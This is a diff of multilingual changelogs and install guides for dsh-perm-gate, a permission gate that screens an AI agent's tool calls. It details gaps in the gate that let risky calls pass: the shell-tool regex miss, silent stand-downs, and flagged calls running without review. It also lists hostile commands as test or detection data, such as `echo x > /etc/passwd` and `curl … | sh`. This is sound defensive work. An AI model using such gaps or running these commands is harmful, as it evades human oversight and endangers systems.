dsh-perm-gate 2.1.2 → 3.0.0

package/CHANGELOG.ja.md

@@ -5,6 +5,88 @@
 形式は [Keep a Changelog](https://keepachangelog.com/ja/1.1.0/) に従い、
 このプロジェクトは [Semantic Versioning](https://semver.org/spec/v2.0.0.html) に準拠します。
 
+## [2.4.1] - 2026-09-17
+
+### 修正
+
+- 承認履歴が、フラグ付きの呼び出しがなぜレビューされずに実行されたのかを説明する唯一のイベントについて、生の `preset-passthrough` 文字列を表示していました（ティアは `approval: ask` を宣言しているのに、セッションが `never` で上書きされ、ゲートの ask がパススルーに降格したためです）。他の判定と同じく読みやすいラベルで表示されるようになりました。
+
+## [2.4.0] - 2026-09-17
+
+### 変更
+
+- **P3 LLM 分類器はエスカレート専用になり、拒否できなくなりました。** ハードカテゴリ
+  (`deletion` / `credential` / `remote` / `system` / `bulk`) の `risky` 判定はこれまでパネルなしで
+  **自動拒否**していましたが、現在は**人間への確認（ask）を維持**します。拒否は決定論的レイヤー
+  （P0 ハード拒否、拒否キーワードのブラックリスト、明示的な `deny:` ルール）だけに属します。
+  確率的な判定が、異議を唱えられないブロックを下してはならないからです。実測: グレーダーは無害な
+  `git commit -F …` を **`remote`** と判定し、自動拒否は承認するパネルも再試行する grant も残しませんでした
+  （たまたま `safe` と判定された手動リトライだけが通りました）。これは「高リスク操作は**決定論的に**
+  遮断し、LLM の判断には委ねない」というプロジェクト自身のルールとも整合します。
+
+### 追加
+
+- ハードリスクカテゴリは `neutral` との重要な違いを一つだけ保ちます: **決して学習されません**。
+  人間の承認を繰り返しても `deletion`/`credential`/`remote`/`system`/`bulk` の判定が自動許可に
+  沈殿することはありません（従来は自動拒否の副作用としてのみ成立していましたが、現在は明示的な性質です）。
+
+### 動作上の注意
+
+- `approval: never` では、ゲートが配信できない ask は従来どおりパススルーに降格するため、分類器が
+  フラグを立てた呼び出しは**実行されます**（以前は自動拒否でした）。これは「決定論的に危険なものだけを
+  拒否し、それ以外は交渉する」の直接の帰結です —— 交渉には人間が必要で、`never` は人間がいないことを
+  意味します。フラグを実際に受け取りたい場合は `approval` が `ask` のティアで運用してください。
+
+## [2.3.0] - 2026-09-17
+
+### 追加
+
+- **ゲートの停止はもはや沈黙しません。** セッションの権限プリセットが `gatePresets` の外にあるとき、
+  ゲートは停止して何も記録しませんでした —— そのためツール呼び出しは、ゲートが検査して許可した
+  呼び出しと見分けがつきませんでした。現在は (session, preset) の遷移ごとに **1 件だけ**
+  `stand-down` 通知を記録し（呼び出しごとではありません）、プリセット・スコープ・P0 ハード拒否が
+  無効である事実を明示します。ブラウザは入力欄の上に常駐の **GATE OFF** ストリップとして表示し、
+  承認履歴には `ゲート停止` タグが出ます。
+- 自动审查 設定カードがゲート自身のプリセットスコープ（`gatePresets`、既定は
+  `permissive` / `permissive-full`）とその外側で何が起きるかを明示するため、スコープはティアを
+  設定する場所で確認できます。
+
+### 変更
+
+- **P0 の文書上の位置づけはグローバルではなくスコープ付きです。** P0 ハード拒否は*ゲートのプリセット
+  スコープ内*で単調かつ交渉不能です。プリセットをまたぐとゲートは P0 を含めて完全に停止します ——
+  選択されたティア自身のポリシーがそのセッションを所有するためです。コードは常にこう動作していましたが、
+  `AGENTS.md` と 4 つの README は逆を主張しており、`danger-full-access` が「P0 は依然適用される」と
+  読めてしまいました。`gatePresets: ['*']` を設定すると P0 は再びグローバルになります。
+
+### 修正
+
+- `DEFAULT_GATE_PRESETS` / `resolveGatePresets` を `config.ts`（schemastery を import しています）から
+  依存のない `preset.ts` へ移し、ブラウザ側が node 専用依存をクライアントバンドルに引き込まずに
+  スコープを描画できるようにしました。`config.ts` は両方を再エクスポートするため、既存の import は
+  変更ありません。
+
+## [2.2.0] - 2026-09-17
+
+### 修正
+
+- **P0 ハード拒否が、4 つのシェルツール以外をすべて素通りさせていました。** `hardDenyReason` はシェル検査をローカルの正規表現 `/^(?:bash|pwsh|sh|cmd)$/` で門番していましたが、これは `shell` / `terminal` / `powershell` に**一致しません**。`shell` は DSH の主要シェルツールであるため、P0 のシェル検査（保護パスへのリダイレクト）は**最も一般的な呼び出し形に対して無効**でした。実測、同一コマンド `echo x > /etc/passwd`：`bash` 経由は遮断、`shell` 経由は**通過**。`engine.ts` は `evaluate.ts` から `SHELL_TOOLS` を取り込むよう変更しました——同じ事実の複製が 3 か所にあり、完全だったのは 1 つだけでした。
+- **`git push --delete` が通常の push として解析されていました。** `hasDelete` は `analyzeSubcommand` で計算されながら `branch` ケースでしか読まれず、`git push --delete origin main` は通常 push 分岐（`destructiveness: 4`）に落ちていました。`DESTRUCTIVENESS_MAP` の `'push-delete': 5` は死んだデータでした。
+- **保護ブランチ判定が、スラッシュを含む名前に誤反応していました。** 述語は最後の `/` より前を落としていたため、`backup/main` や `feat/release` が保護扱いになっていました。既知の ref 接頭辞（`refs/heads/`、`refs/tags/`、`refs/remotes/<remote>/`）のみを剥がすよう変更しました。方向が重要です——この述語は**取り消し不能な** P0 に供給され、見逃しにはキーワード／ルール／LLM 層という受け皿がありますが、誤検出は正当なワークフローを出口なく塞いでしまいます。
+
+### 追加
+
+- **保護ブランチに対するリモート履歴改変の P0 ハード拒否。** `main` / `master` / `production` / `release` / `stable` を強制上書きまたは削除する `git push` を、LLM 呼び出しより前に決定的に拒否します。従来の保護は、フラットでブランチを見ず、名前空間で上書き可能なキーワード `'push --force'` でした。これはその下に敷く交渉不能な床です。
+  - **「エスカレーションのみ」は慣習ではなく構造です**: ヘルパーは `string | undefined` を返し、呼び出し側はそれを deny / 未決定として読みます。allow を表現する手段がないため、P0 に配線してもゲートが許可する範囲を広げることはできません。
+  - 意図的に**対象外**（引き続きキーワード／ルール／LLM 層が担当）: 非保護ブランチへの force push、ブランチ名を書かない `git push --force`、通常の push。
+  - コマンドパーサ（`command-dispatcher` / `command-semantics` / `parsers/git` / `parsers/shell-cmds`）の初の本番利用です。これまで自身のテストファイルからしか参照されていませんでした。
+
+### テスト
+
+- 新規 `test/git-protected-push.spec.ts`（13 件）。
+- **反証**: 3 つの修正をそれぞれ戻すと、それを守るケースだけが赤くなります（計 7 件）。意図的に許可するケースは緑のままです。
+- 全量 **40 ファイル / 459 件**、`typecheck` クリーン。
+
 ## [2.0.0] - 2026-09-11
 
 ### 修正

package/CHANGELOG.ko.md

@@ -5,6 +5,86 @@
 형식은 [Keep a Changelog](https://keepachangelog.com/ko/1.1.0/)을 따르며,
 이 프로젝트는 [Semantic Versioning](https://semver.org/spec/v2.0.0.html)을 준수합니다.
 
+## [2.4.1] - 2026-09-17
+
+### 수정됨
+
+- 승인 이력이, 플래그된 호출이 왜 검토 없이 실행되었는지 설명하는 유일한 이벤트에 대해 원시 `preset-passthrough` 문자열을 표시했습니다(티어는 `approval: ask`를 선언했지만 세션이 `never`로 재정의되어 게이트의 ask가 패스스루로 강등된 경우입니다). 이제 다른 판정과 마찬가지로 읽기 쉬운 라벨로 표시됩니다.
+
+## [2.4.0] - 2026-09-17
+
+### 변경됨
+
+- **P3 LLM 분류기는 에스컬레이션 전용이 되어 더 이상 거부할 수 없습니다.** 하드 카테고리
+  (`deletion` / `credential` / `remote` / `system` / `bulk`)의 `risky` 판정은 이전에는 패널 없이
+  **자동 거부**했지만, 이제는 **사람 확인(ask)을 유지**합니다. 거부는 결정론적 계층(P0 하드 거부,
+  거부 키워드 블랙리스트, 명시적 `deny:` 규칙)에만 속합니다. 확률적 판정이 이의를 제기할 수 없는
+  차단을 내려서는 안 되기 때문입니다. 실측: 그레이더가 무해한 `git commit -F …`를 **`remote`**로
+  판정했고, 자동 거부는 승인할 패널도 재시도할 grant도 남기지 않았습니다(우연히 `safe`로 판정된
+  수동 재시도만 통과했습니다). 이는 "고위험 작업은 **결정론적으로** 차단하고 LLM 판단에 맡기지
+  않는다"는 프로젝트 자체 규칙과도 일치합니다.
+
+### 추가됨
+
+- 하드 위험 카테고리는 `neutral`과의 중요한 차이를 하나만 유지합니다: **결코 학습되지 않습니다**.
+  사람의 승인을 반복해도 `deletion`/`credential`/`remote`/`system`/`bulk` 판정이 자동 허용으로
+  침전되지 않습니다(이전에는 자동 거부의 부수 효과로만 성립했지만, 이제는 명시적 속성입니다).
+
+### 동작 주의
+
+- `approval: never`에서는 게이트가 전달할 수 없는 ask가 여전히 패스스루로 강등되므로, 분류기가
+  플래그한 호출은 이제 **실행됩니다**(이전에는 자동 거부였습니다). 이는 "결정론적으로 위험한 것만
+  거부하고 나머지는 협상한다"의 직접적 귀결입니다 —— 협상에는 사람이 필요하고, `never`는 사람이
+  없다는 뜻입니다. 플래그를 실제로 받으려면 `approval`이 `ask`인 티어에서 운용하십시오.
+
+## [2.3.0] - 2026-09-17
+
+### 추가됨
+
+- **게이트 정지는 더 이상 침묵하지 않습니다.** 세션 권한 프리셋이 `gatePresets` 밖에 있을 때 게이트는
+  정지하고 아무것도 기록하지 않았습니다 —— 그래서 그 도구 호출은 게이트가 검사하고 허용한 호출과
+  구별되지 않았습니다. 이제 (session, preset) 전환마다 **1건만** `stand-down` 알림을 기록하고
+  (호출마다가 아닙니다), 프리셋·범위·P0 하드 거부가 비활성이라는 사실을 명시합니다. 브라우저는
+  입력창 위에 상시 **GATE OFF** 표시줄로 렌더링하고, 승인 이력에는 `게이트 정지` 태그가 표시됩니다.
+- 自动审查 설정 카드가 게이트 자체의 프리셋 범위(`gatePresets`, 기본값
+  `permissive` / `permissive-full`)와 그 밖에서 벌어지는 일을 명시하므로, 범위를 티어를 설정하는
+  곳에서 확인할 수 있습니다.
+
+### 변경됨
+
+- **P0의 문서상 위치는 전역이 아니라 범위 한정입니다.** P0 하드 거부는 *게이트의 프리셋 범위 안에서*
+  단조롭고 협상 불가능합니다. 프리셋을 넘어가면 게이트는 P0를 포함해 완전히 정지합니다 —— 선택된
+  티어 자체의 정책이 그 세션을 소유하기 때문입니다. 코드는 항상 이렇게 동작했지만 `AGENTS.md`와
+  4개 README는 반대로 주장해, `danger-full-access`가 "P0는 여전히 적용된다"로 읽혔습니다.
+  `gatePresets: ['*']`로 설정하면 P0는 다시 전역이 됩니다.
+
+### 수정됨
+
+- `DEFAULT_GATE_PRESETS` / `resolveGatePresets`를 `config.ts`(schemastery를 import합니다)에서
+  의존성 없는 `preset.ts`로 옮겨, 브라우저 쪽이 node 전용 의존성을 클라이언트 번들로 끌어오지 않고
+  범위를 렌더링할 수 있게 했습니다. `config.ts`는 둘 다 재수출하므로 기존 import는 변경이 없습니다.
+
+## [2.2.0] - 2026-09-17
+
+### 수정
+
+- **P0 하드 거부가 4개의 셸 도구를 제외한 나머지를 모두 통과시키고 있었습니다.** `hardDenyReason`은 셸 검사를 로컬 정규식 `/^(?:bash|pwsh|sh|cmd)$/`로 막고 있었는데, 이는 `shell` / `terminal` / `powershell`에 **일치하지 않습니다**. `shell`은 DSH의 주 셸 도구이므로, P0의 셸 검사(보호 경로로의 리다이렉트)는 **가장 흔한 호출 형태에 대해 무력**했습니다. 실측, 동일 명령 `echo x > /etc/passwd`: `bash` 경유는 차단, `shell` 경유는 **통과**. `engine.ts`가 이제 `evaluate.ts`에서 `SHELL_TOOLS`를 가져옵니다——같은 사실의 사본이 세 곳에 있었고, 완전한 것은 하나뿐이었습니다.
+- **`git push --delete`가 일반 push로 파싱되고 있었습니다.** `hasDelete`는 `analyzeSubcommand`에서 계산되지만 `branch` 케이스에서만 읽혔고, 그 결과 `git push --delete origin main`은 일반 push 분기(`destructiveness: 4`)로 떨어졌습니다. `DESTRUCTIVENESS_MAP`의 `'push-delete': 5`는 죽은 데이터였습니다.
+- **보호 브랜치 판정이 슬래시를 포함한 이름에 오작동하고 있었습니다.** 술어가 마지막 `/` 앞부분을 잘라내어 `backup/main`과 `feat/release`가 보호 대상으로 읽혔습니다. 이제 알려진 ref 접두사(`refs/heads/`, `refs/tags/`, `refs/remotes/<remote>/`)만 제거합니다. 방향이 중요합니다——이 술어는 **되돌릴 수 없는** P0에 공급되며, 놓침에는 키워드/규칙/LLM 계층이라는 안전망이 있지만 오탐은 정당한 워크플로를 출구 없이 막습니다.
+
+### 추가
+
+- **보호 브랜치에 대한 원격 이력 재작성의 P0 하드 거부.** `main` / `master` / `production` / `release` / `stable`을 강제 덮어쓰기하거나 삭제하는 `git push`를 LLM 호출 이전에 결정론적으로 거부합니다. 기존 보호는 평면적이고 브랜치를 보지 않으며 네임스페이스로 덮어쓸 수 있는 키워드 `'push --force'`였습니다. 이것은 그 아래에 깔리는 협상 불가능한 바닥입니다.
+  - **"에스컬레이션 전용"은 관례가 아니라 구조입니다**: 헬퍼는 `string | undefined`를 반환하고 호출자는 이를 deny / 미결로 읽습니다. allow를 표현할 수단이 없으므로 P0에 배선해도 게이트가 허용하는 범위를 넓힐 수 없습니다.
+  - 의도적으로 **대상에서 제외**(키워드/규칙/LLM 계층이 계속 담당): 비보호 브랜치로의 force push, 브랜치명을 쓰지 않은 `git push --force`, 일반 push.
+  - 커맨드 파서(`command-dispatcher` / `command-semantics` / `parsers/git` / `parsers/shell-cmds`)의 첫 프로덕션 사용입니다. 지금까지는 자체 테스트 파일에서만 참조되고 있었습니다.
+
+### 테스트
+
+- 신규 `test/git-protected-push.spec.ts`(13건).
+- **반증**: 세 수정을 각각 되돌리면 그것을 지키는 케이스만 빨개집니다(총 7건). 의도적으로 허용하는 케이스는 초록으로 남습니다.
+- 전체 **40 파일 / 459건**, `typecheck` 클린.
+
 ## [2.0.0] - 2026-09-11
 
 ### 수정

package/CHANGELOG.md

@@ -5,6 +5,216 @@ All notable changes to this project will be documented in this file.
 The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
 and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
 
+## [2.6.0] - 2026-09-17
+
+### Added
+
+- **Rule test (dry-run) in the settings card.** A new panel evaluates one would-be tool call
+  against the ruleset the gate currently has loaded and shows the verdict, the matched rule (index
+  and action), the dimensions that rule constrains, and the reason. Written for the question the
+  YAML cannot answer by inspection: *what will this actually do?* — `args` is an OR over tokens, an
+  empty dimension constrains nothing, and `command` matches the decomposed command **word** only, so
+  a plausible-looking rule can be dead on arrival.
+
+  The report keeps two answers apart on purpose. **`verdict`** is the policy result of the whole
+  chain (P0 hard-deny → deny-keyword → P1 grant → P2 rules → P4 ask → permissive).
+  **`ruleLayer`** is what the `permissions` chain decides on its own, and only that layer can name a
+  rule index: a P0 hard-deny or a preset deny-keyword fires *before* it and leaves no rule behind, so
+  the panel says so instead of attributing an unrelated rule. `matchedDimensions` likewise lists the
+  dimensions the matched rule *constrains* rather than the one that "caused" the match — dimensions
+  are ANDed, so a single cause cannot honestly be named. A `ruleCount` of 0 is surfaced as "0 rules
+  loaded, check the rulesFile path" rather than as "nothing matched".
+
+- **`POST /api/dsh-perm-gate/dry-run`** — the panel's endpoint. **Read-only by construction**: it
+  has no write form, unknown body keys are dropped rather than forwarded, and it never touches
+  rules, grants, learning state or the settings namespace. Testing a rule must not be able to change
+  it. It evaluates against the **live** runtime rather than a fresh one, so the panel tests the rules
+  in force — a fresh runtime would re-resolve the chain from a different root and could silently
+  answer about a different file.
+
+- **`src/dry-run.ts`** — `runDryRun` / `createDryRunRuntime`, the shared evaluator for the CLI and
+  the route, plus `PermGateRuntime.explainRules` (read-only rule-layer report) and
+  `PermGateRuntime.explainCall` (pure policy evaluation). `src/cli.ts` is now a thin wrapper over it;
+  its output is unchanged across nine replayed invocations, verified byte for byte (including the
+  `--list`, no-tool, bad-JSON and write-path cases).
+
+### Fixed
+
+- **The rule-test panel reported `allow` for calls the rules send to a human.** The first version
+  evaluated through the host-facing path, which applies the session layers — the preset stand-down
+  and the `approval: never` ask degradation. A session-less dry-run has no session, so the policy
+  reader answered "never", every `ask` degraded to a passthrough, and the panel showed **allow** for
+  exactly the rules someone opens it to review. Measured on the live host: `shell ls -la` showed
+  `allow` while the rule layer on the same card said `ask`.
+
+  `runDryRun` now reports the **pure policy** verdict from `explainCall`: the same
+  P0 → deny-keyword → P1 → P2 → P4 chain with the session-state layers excluded rather than guessed,
+  and with `reason` never collapsed to a bare `(default/passthrough)`. The host-facing view remains
+  available under `input.hostView`; the CLI asks for it, so its historic output stays byte for byte
+  identical (re-verified: 9/9 cases, SHA256 per case).
+
+- **The "read-only" route was not read-only.** It ran the host-facing decision path against the live
+  runtime, which appends audit entries and records decision events — opening the rule-test panel
+  wrote to the live decision feed. The pure path appends nothing, and `test/dry-run.spec.ts` now
+  asserts that a call the host path *would* record leaves the audit mirror at zero.
+
+## [2.5.0] - 2026-09-17
+
+### Added
+
+- **`branch` rule dimension** — git branch / remote / protected-branch matching, so a rule can
+  finally say "no push to a protected branch" without catching unrelated commands. The decisive
+  case is the one `args` can never express: `git push --force origin main` (dangerous) and
+  `git checkout --force main` (routine) carry the *same tokens*, and only the branch dimension
+  tells them apart. Sub-fields: `target` (branch-name glob, `*` crosses `/`), `remote`
+  (remote-name glob) and `shared` (require a protected branch). Candidates come from the shared
+  command dispatcher, so `refspec` forms (`HEAD:main`) are already split and a remote name is
+  never mistaken for a branch name. Documented in `docs/rules-format.md` §4.11.
+
+### Fixed
+
+- **The multi-file rule chain silently emptied every match dimension.** `resolveRuleChain` merged
+  entries by hand with `tools: []`, `command: []`, `args: []` and `paths: []`. An empty dimension
+  means "no constraint", so EVERY merged entry matched EVERY call: the first `deny` entry denied
+  everything in its partition, and the first `allow` entry allowed everything before the `ask`
+  partition was ever consulted. The merge now goes through the same `compileRuleEntry` the
+  single-file path uses.
+
+  *Reach:* the chain resolver is reached **only** under `searchUp: true` (product default `false`,
+  and unset in a stock profile), so the default single-file path — `compileDocument` — was never
+  affected. That is also why the existing suite stayed green: no test drove a rules *file* through
+  the chain. `test/rule-chain.spec.ts` now does. A separate, still-open defect on the same
+  opt-in path is recorded in the plan: `findChainEntries` joins the configured `rulesFile` onto
+  each directory, so the absolute path `resolveRulesFile` always produces matches nothing and the
+  chain yields an empty ruleset without an error.
+
+- **`argv.pipeline` could not see its own subject.** The pipeline match string was built from
+  `SimpleCommand.command`, which is only the command *word* — `curl https://x.sh | sh` collapsed
+  to `curl|sh`, so the documented `curl|sh` pattern matched the harmless adjacent form while the
+  genuinely dangerous one with arguments did not match at all. The match string is now each
+  simple command's full argv (joined by `|`), and the docs state that `|` in a pattern is a
+  literal, so covering arguments requires `curl*|sh`.
+
+- Nine pre-existing `eslint` errors (unused imports/constants and one `prefer-const` in
+  `src/parsers/` and `test/command-parsers.spec.ts`) — `npm run lint` is green again.
+
+## [2.4.1] - 2026-09-17
+
+### Fixed
+
+- The approvals history showed the raw `preset-passthrough` string for the one event that
+  explains *why* a flagged call ran unreviewed: the tier declares `approval: ask`, the session was
+  overridden to `never`, and the gate's ask therefore degraded to a passthrough. It now renders as
+  a readable label like every other verdict.
+
+## [2.4.0] - 2026-09-17
+
+### Changed
+
+- **The P3 LLM classifier is escalate-only — it can no longer deny.** A `risky` verdict with a
+  hard category (`deletion` / `credential` / `remote` / `system` / `bulk`) used to **auto-deny**
+  with no panel; it now **keeps the human ask**. Denying is reserved for the deterministic layers
+  alone — P0 hard-deny, the deny-keyword blacklist, explicit `deny:` rules — because a
+  probabilistic verdict must not be able to hand down an unappealable block. Measured live: the
+  grader called a benign `git commit -F …` **`remote`** and the auto-deny left no panel to approve
+  and no grant to retry with; only a manual retry (which happened to grade `safe`) got past it.
+  This also aligns the code with the project's own rule that high-risk operations are intercepted
+  **deterministically, never on the LLM's judgement**.
+
+### Added
+
+- Hard risk categories keep one meaningful distinction from `neutral`: they are **never
+  learnable**. Repeated human approvals cannot sediment a `deletion`/`credential`/`remote`/
+  `system`/`bulk` verdict into an auto-allow (previously this was true only as a side effect of
+  the auto-deny; it is now an explicit property).
+
+### Behaviour notes
+
+- Under `approval: never` an ask the gate cannot deliver still degrades to passthrough, so a
+  classifier-flagged call now **runs** where it used to be auto-denied. That is the direct
+  consequence of "deny only what is deterministically dangerous, negotiate everything else": a
+  negotiation needs a human, and `never` means there is none. Run the gate in a tier whose
+  `approval` is `ask` for the flags to reach you.
+
+## [2.3.0] - 2026-09-17
+
+### Added
+
+- **A stand-down is no longer silent.** When the session's permission preset is outside
+  `gatePresets`, the gate used to stand down and record nothing — so the tool call looked
+  exactly like one the gate had inspected and allowed. It now records **one** `stand-down`
+  notice per (session, preset) transition (never per call), naming the preset, the scope and
+  the fact that P0 hard-deny is inactive. The browser renders it as a sticky **GATE OFF**
+  strip above the input, and the approvals history shows a `Gate off` tag.
+- The 自动审查 settings card states the gate's own preset scope (`gatePresets`, default
+  `permissive` / `permissive-full`) and what happens outside it, so the scope is visible
+  where the tier is configured.
+
+### Changed
+
+- **P0's documented positioning is scoped, not global.** P0 hard-deny is monotonic and
+  non-negotiable *within the gate's preset scope*; across presets the gate stands down
+  entirely — P0 included — because the selected tier's own policy owns that session. The
+  code always behaved this way; `AGENTS.md` and the four READMEs claimed otherwise, which
+  made `danger-full-access` read as "P0 still applies". Set `gatePresets: ['*']` to make P0
+  global again.
+
+### Fixed
+
+- `DEFAULT_GATE_PRESETS` / `resolveGatePresets` moved from `config.ts` (which imports
+  schemastery) into the dependency-free `preset.ts`, so the browser half can render the scope
+  without pulling a node-only dependency into the client bundle. `config.ts` re-exports both,
+  so existing imports are unchanged.
+
+## [2.2.0] - 2026-09-17
+
+### Fixed
+
+- **P0 hard-deny skipped every shell tool but four.** `hardDenyReason` gated its shell
+  inspection on a locally defined regex, `/^(?:bash|pwsh|sh|cmd)$/`, which does **not**
+  match `shell`, `terminal` or `powershell`. `shell` is DSH's primary shell tool, so the
+  whole P0 shell check — the protected-path redirect guard — was **inert for the most
+  common call shape**. Measured, same command `echo x > /etc/passwd`: blocked via `bash`,
+  **allowed** via `shell`. `engine.ts` now imports `SHELL_TOOLS` from `evaluate.ts`; the
+  gate held three copies of that one fact and only one of them was complete.
+- **`git push --delete` was parsed as an ordinary push.** `hasDelete` was computed in
+  `analyzeSubcommand` but only ever read in the `branch` case, so `git push --delete
+  origin main` fell through to the plain-push branch (`destructiveness: 4`) and the
+  `DESTRUCTIVENESS_MAP` entry `'push-delete': 5` was dead data.
+- **Protected-branch detection mis-fired on any name containing a slash.** The predicate
+  stripped everything before the last `/`, so `backup/main` and `feat/release` were read
+  as protected. It now strips only known ref prefixes (`refs/heads/`, `refs/tags/`,
+  `refs/remotes/<remote>/`). The direction matters: this predicate feeds an **unremovable**
+  P0, where a miss still has the keyword / rule / LLM layers behind it, while a false
+  positive blocks a legitimate workflow with no recourse.
+
+### Added
+
+- **P0 hard-deny for remote-history rewrite on a protected branch.** A `git push` that
+  force-overwrites or deletes `main` / `master` / `production` / `release` / `stable` is
+  rejected deterministically, before any LLM call. The pre-existing protection was the
+  flat, branch-blind, namespace-overridable keyword `'push --force'`; this is the
+  non-negotiable floor beneath it.
+  - **Escalate-only by construction, not by convention**: the helper returns
+    `string | undefined`, which the caller reads as deny / undecided. It has no way to
+    express allow, so wiring it into P0 cannot widen what the gate permits.
+  - Deliberately **not** covered (still left to the keyword / rule / LLM layers):
+    force-push to a non-protected branch, `git push --force` with no branch named, and
+    ordinary pushes.
+  - First production use of the command parser (`command-dispatcher`, `command-semantics`,
+    `parsers/git`, `parsers/shell-cmds`), which until now was referenced only by its own
+    test file.
+
+### Tests
+
+- New suite `test/git-protected-push.spec.ts` (13 cases): parser variants, the
+  protected-branch predicate in both directions, full `SHELL_TOOLS` coverage, the four
+  deliberately-allowed shapes, and compound-command segmentation
+  (`git status && git push --force origin main`).
+- **Falsified**: reverting each of the three fixes turns exactly the cases guarding it red
+  (7 failures in total), while the deliberate-allow cases stay green.
+- Full suite **40 files / 459 cases**; `typecheck` clean.
+
 ## [2.1.2] - 2026-09-15
 
 ### Added

package/INSTALL.ja.md

@@ -12,7 +12,7 @@
 - [日本語 changelog](./CHANGELOG.ja.md)
 - [한국어 changelog](./CHANGELOG.ko.md)
 
-`dsh-perm-gate` バージョン **2.1.2**。判定チェーン、ルールファイル形式、自动审查
+`dsh-perm-gate` バージョン **2.6.0**。判定チェーン、ルールファイル形式、自动审查
 ティアについては [日本語 README](./README.ja.md) を参照してください。
 
 ## 必要条件
@@ -23,19 +23,20 @@
 - インストール先の profile。ブラウザ側は `web` profile 向けにのみビルドされます
   （`package.json` の `dsh.client.platform = "web"`）。
 
-## DSH のバージョンに合う tag を選ぶ
+## DSH のバージョンに合うラインを選ぶ
 
-単一ビルドが DSH 両ラインをカバーするため、どちらの tag を選んでも動作するコードが
-インストールされます —— tag を残しておくのは、あなたがピン留めするバージョンが
-各ラインで意味を持つようにするためです。
+2 つの長期ブランチが 2 つの DSH ラインを担当します：`main`（2.x）と
+`sync/0.1.5-from-main`（3.x、DSH 0.1.5 のパッケージング変体 —— `compat/0.1.5` は
+同じコードツリーを指します）。
 
 | DSH のバージョン | インストール方法 |
 |-----------------|-----------------|
-| `0.1.2-alpha.1` 以上（`0.1.5-rc.2` を含む） | `dsh plugin --profile web add dsh-perm-gate`（tag `latest`） |
+| `0.1.2-alpha.1` – `0.1.5-rc.0` | `dsh plugin --profile web add dsh-perm-gate`（tag `latest`、2.x ライン） |
+| `0.1.5-rc.1` 以上 | `dsh plugin --profile web add github:drscrewdriver/dsh-perm-gate#sync/0.1.5-from-main`（3.x ライン；npm の dist-tag は未公開 —— `@latest` は同じコードの 2.x パッケージングをインストールします） |
 | `0.1.1-rc.2` まで | `dsh plugin --profile web add dsh-perm-gate@legacy` |
 
-DSH は `engines.dsh` を強制しないため、tag が選択メカニズムであり、互換性ゲート
-そのものではありません。単一ビルドが両ラインをカバーする理由と tag の公開方法については、
+DSH は `engines.dsh` を強制しないため、tag と ref は選択メカニズムであり、互換性
+ゲートそのものではありません。ラインと tag の公開レイアウトについては
 [RELEASING.md](./RELEASING.md) を参照してください。
 
 ## 公式 CLI でインストール
@@ -72,6 +73,11 @@ profile の `cordis.yml` にプラグインを追加します：
     defaultAction: ask              # allow | ask | deny
 ```
 
+2.6.0 から、ルール本体は `dsh-perm-gate-rules` settings 名前空間に保存され、変更の
+たびにゲートがその場で再コンパイルされます。上記の YAML ファイルは任意になりました。
+名前空間が未設定の間だけ読み込まれ、プラグインが最初にルールを書き込む際（許可リスト
+の承認、または設定 UI での編集）にファイルのルールが自動的に取り込まれます。
+
 まずは [examples/permissions.example.yaml](./examples/permissions.example.yaml)
 から始め、profile を再読込してください。
 

package/INSTALL.ko.md

@@ -12,7 +12,7 @@
 - [日本語 changelog](./CHANGELOG.ja.md)
 - [한국어 changelog](./CHANGELOG.ko.md)
 
-`dsh-perm-gate` 버전 **2.1.2**. 결정 체인, 규칙 파일 형식, 自动审查 티어는
+`dsh-perm-gate` 버전 **2.6.0**. 결정 체인, 규칙 파일 형식, 自动审查 티어는
 [한국어 README](./README.ko.md)를 참고하세요.
 
 ## 요구 사항
@@ -23,20 +23,21 @@
 - 설치할 profile. 브라우저 절반은 `web` profile용으로만 빌드됩니다
   (`package.json`의 `dsh.client.platform = "web"`).
 
-## DSH 버전에 맞는 tag 선택
+## DSH 버전에 맞는 라인 선택
 
-단일 빌드는 두 DSH 라인을 모두 커버하므로, 어느 tag를 골라도 작동하는 코드가
-설치됩니다 —— tag를 유지하는 이유는 당신이 고정하는 버전이 각 라인에서 의미 있게
-유지되도록 하기 위함입니다.
+두 개의 장기 브랜치가 두 DSH 라인을 담당합니다: `main`(2.x)과
+`sync/0.1.5-from-main`(3.x, DSH 0.1.5 패키징 변형 —— `compat/0.1.5`는 같은 코드
+트리를 가리킵니다).
 
 | DSH 버전 | 설치 방법 |
 |----------|-----------|
-| `0.1.2-alpha.1` 이상 (`0.1.5-rc.2` 포함) | `dsh plugin --profile web add dsh-perm-gate` (tag `latest`) |
+| `0.1.2-alpha.1` – `0.1.5-rc.0` | `dsh plugin --profile web add dsh-perm-gate` (tag `latest`, 2.x 라인) |
+| `0.1.5-rc.1` 이상 | `dsh plugin --profile web add github:drscrewdriver/dsh-perm-gate#sync/0.1.5-from-main` (3.x 라인; npm dist-tag 미게시 —— `@latest`는 동일 코드의 2.x 패키징을 설치) |
 | `0.1.1-rc.2` 이하 | `dsh plugin --profile web add dsh-perm-gate@legacy` |
 
-DSH는 `engines.dsh`를 강제하지 않으므로, tag는 선택 메커니즘이지 호환성 게이트가
-아닙니다. 단일 아티팩트가 두 라인을 커버하는 이유와 tag가 게시되는 방식에 대해서는
-[RELEASING.md](./RELEASING.md)를 참고하세요.
+DSH는 `engines.dsh`를 강제하지 않으므로, tag과 ref은 선택 메커니즘이지 호환성
+게이트가 아닙니다. 라인과 tag 게시 레이아웃은 [RELEASING.md](./RELEASING.md)를
+참고하세요.
 
 ## 공식 CLI로 설치
 
@@ -73,6 +74,11 @@ profile의 `cordis.yml`에 플러그인을 추가합니다:
     defaultAction: ask              # allow | ask | deny
 ```
 
+2.6.0부터 규칙 본체는 `dsh-perm-gate-rules` settings 네임스페이스에 저장되며, 변경 시
+마다 게이트가 그 자리에서 다시 컴파일됩니다. 위의 YAML 파일은 선택 사항이 되었습니다.
+네임스페이스가 설정되지 않은 동안에만 읽히며, 플러그인이 처음으로 규칙을 쓸 때(허용
+목록 승인 또는 설정 UI에서의 편집) 파일의 규칙이 자동으로 흡수됩니다.
+
 [examples/permissions.example.yaml](./examples/permissions.example.yaml)에서 시작한 뒤
 profile을 다시 불러오세요.
 

package/INSTALL.md

@@ -12,7 +12,7 @@
 - [日本語 changelog](./CHANGELOG.ja.md)
 - [한국어 changelog](./CHANGELOG.ko.md)
 
-`dsh-perm-gate` version **2.1.2**. Continue with the [README](./README.md) for the
+`dsh-perm-gate` version **2.6.0**. Continue with the [README](./README.md) for the
 decision chain, the rules file format and the 自动审查 tier.
 
 ## Requirements
